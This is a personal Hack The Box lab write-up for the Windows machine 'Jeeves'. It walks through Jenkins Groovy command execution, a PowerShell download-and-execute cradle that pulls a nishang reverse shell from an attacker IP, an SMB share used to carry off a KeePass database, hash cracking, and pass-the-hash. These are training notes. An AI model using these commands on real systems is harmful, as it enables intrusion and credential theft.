HTB Write-up Jeeves (Windows) File Transferring with SMB file share(impacket tool), Poweshell & PowerUp, uncovering hidden data streams
As usual, I followed IppSec’s video on how to crack this box
I had trouble getting the SMB file share on this one and it finally worked with the other impacket’s smbserver script. It was also fun to learn about the hidden data stream and how to view it.
Things I learned today & review:
- KeePass Password Safe is a free and open-source password manager primarily for Windows. It officially supports macOS and Linux operating systems through the use of Mono. Additionally, there are several unofficial ports for Windows Phone, Android, iOS, and BlackBerry devices. KeePass stores usernames, passwords, and other fields, including free-form notes and file attachments, in an encrypted file. This file can be protected by any combination of a master password, a key file, and the current Windows account details. By default, the KeePass database is stored on a local file system. (KeePass — Wikipedia)
- Keepass file has kdbx extension and you can grab the hash with keepass2john FILE.kbdx
Windows Powershell Commands
- Powershell is in nishang for a reverse shell
- Download a file from a web server
- Make sure to copy the script to another file as you need to modify the file and add a line at the end (see an example command)
powershell IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.14.131/powershell.ps1')
- PowerUp.ps1 in Powersploit/Privesc
- to run, do “Invoke-AllChecks” on the victim’s computer
File Transferring to the Victim’s server via SMB
To run a smb server on our machine, go to /impacket/examples and do
python smbserver.py EVILSHARE /home/kali/unchiman
On the victim’s machine, run
New-PSDrive -Name “EVILSHARE” -PSProvider “FileSystem” -root “\\10.10.14.131\unchiman”
(Directory names can be anything)
Pass the hash (NTLM)
- winexe -U jenkins/administrator //10.129.1.109 cmd.exe and hash when prompted for password
- pth-winexe -U jenkins/administrator //10.129.1.109 cmd.exe
Unhidden data streams
- dir /r show hidden data streams
- more < hm.txt:root.txt:$DATA
- powershell(Get-Content hm.txt -Stream root.txt)
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7–10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ Message signing enabled but not required
| date: 2022–02–09T07:47:47
|_ start_date: 2022–02–09T07:46:15
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s
Let’s do gobuster on both ports.
I found /askjeeves on port 50000
visiting the directory, I got into the Jenkin’s dashboard.
With the Jenkin’s dashboard, we can run scripts through Script Console in “Manage Jenkins” that lets you run Groovy script
try: cmd =”whoami” println cmd.execute().text
Let’s grab a ps1 powershell from nishang.
make a new file for this particular box and copy & paste the example execution code at the bottom and modify IP
Run the python http server.
cmd =””” powershell IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.14.131/powershell.ps1') “””
Now I got the user shell.
use the powerup script in Powersploit/Privesc/
and to execute it,
Didn’t find much here.
Let’s keep enumerating.
We found a keydatabase file.
Let’s get the file by creating a smb server on our kali machine!
you need to have a directory with the name specified.
Now on the victim’s machine, run
New-PSDrive -Name “EVILSHARE” -PSProvider “FileSystem” -root “\\10.10.14.131\unchi”
once we have the keeppass file transfered over, we can to keepass2john CEH.kdbx to get the hash and crack it with hashcat.
Now to get into the server, we have to Download Keepass to our system.
sudo apt-get install keepassxc
in the backup file, I found NTLM hash.
Can we pass-the-hash it?
winexe -U jenkins/administrator //10.129.1.109 cmd.exe
this didn’t workout
tried pth-winexe -U jenkins/administrator //10.129.1.109 cmd.exe and worked!
hm.txt has a root flag but its data stream is hidden.
dir /r will show hidden data streams(reference: https://www.lifewire.com/dir-command-4050018#:~:text=Dir%20Command%20Options%20%20%20%20Item%20,the%20thousa%20...%20%2013%20more%20rows%20)
more < hm.txt:root.txt:$DATA will unhidden it. or
powershell(Get-Content hm.txt -Stream root.txt) works as well.